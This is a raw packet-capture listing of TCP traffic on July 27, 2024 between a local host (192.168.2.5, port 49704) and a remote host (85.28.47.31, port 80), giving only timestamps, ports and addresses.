Jul 27, 2024 09:25:07.110429049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110435963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110460043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110472918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110492945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110501051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110524893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110537052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110559940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110563993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110593081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110605955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110626936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110636950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110667944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110728025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110763073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110795021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110797882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110817909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110826969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110840082 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110860109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110867977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110892057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110898018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110924959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.110929966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110965014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.110974073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111011028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111015081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111043930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111049891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111078024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111083984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111119032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111129045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111162901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111167908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111195087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111207962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111227989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111233950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111267090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111277103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111313105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111318111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111340046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111351967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111372948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111378908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111406088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111418009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111438036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111447096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111471891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111480951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111504078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111514091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111537933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111546040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111572981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111581087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111608028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111617088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111644030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111649990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111677885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111686945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111712933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111720085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111756086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111823082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111861944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111871958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111905098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111911058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111954927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111965895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.111989021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.111999989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112021923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.112030029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112056017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.112063885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112088919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.112097979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112123013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.112132072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112155914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.112162113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112190008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.112199068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112222910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.112229109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112256050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.112267017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112289906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.112298012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112334013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112451077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.112498999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112500906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.112535000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.112544060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112572908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.112581015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112606049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.112617016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112639904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.112649918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112673998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.112682104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112705946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.112719059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112739086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.112754107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112756968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.112777948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112785101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.112793922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112801075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.112817049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.112826109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112832069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.112837076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112853050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.112868071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.201316118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.201365948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.201415062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.201468945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.201478958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.201478958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.201478958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.201503992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.201509953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.201538086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.201546907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.201575041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.201585054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.201608896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.201620102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.201642990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.201648951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.201677084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.201687098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.201710939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.201723099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.201756001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.201762915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.201808929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.201814890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.201847076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.201859951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.201891899 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.201898098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.201930046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.201942921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.201967955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.201976061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.202001095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.202014923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.202034950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.202044964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.202068090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.202080011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.202102900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.202111959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.202147007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.202436924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.202488899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.202491999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.202522039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.202534914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.202562094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.202573061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.202611923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.202626944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.202661037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.202678919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.202692986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.202708960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.202725887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.202744007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.202774048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.202913046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.202966928 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203023911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203058004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203080893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203089952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203103065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203130007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203135967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203150988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203175068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203181982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203192949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203197002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203212023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203222990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203243017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203258991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203294992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203340054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203382015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203397989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203413963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203435898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203461885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203470945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203485966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203511000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203524113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203563929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203608990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203641891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203659058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203672886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203687906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203691006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203701973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203722000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203732967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203844070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203860044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203875065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203885078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203890085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203902960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203906059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203917980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203921080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203933001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203937054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.203949928 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203962088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.203980923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.204118967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204135895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204150915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204165936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204169035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.204185963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.204194069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.204211950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.204397917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204412937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204427958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204442978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204451084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.204458952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204471111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.204473972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204498053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.204505920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204525948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204534054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.204545021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204559088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204562902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.204569101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.204574108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204588890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204591990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.204607964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.204637051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.204845905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204859972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204874992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204890013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204891920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.204901934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.204905987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204920053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204925060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.204935074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204940081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.204951048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.204957962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.204993010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.205107927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205123901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205138922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205153942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205158949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.205177069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.205204964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.205264091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205279112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205307961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.205326080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.205328941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205344915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205358982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205372095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205377102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.205384970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.205387115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205400944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205404043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.205415964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205420971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.205430984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205442905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.205446959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205461979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205471039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.205501080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.205727100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205743074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205758095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205770969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.205800056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.205883980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205899000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205914021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205928087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205931902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.205941916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205951929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.205961943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205972910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.205981016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.205987930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.206001997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.206012011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.206017017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.206032038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.206034899 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.206046104 CEST	80	49704	85.28.47.31	192.168.2.5
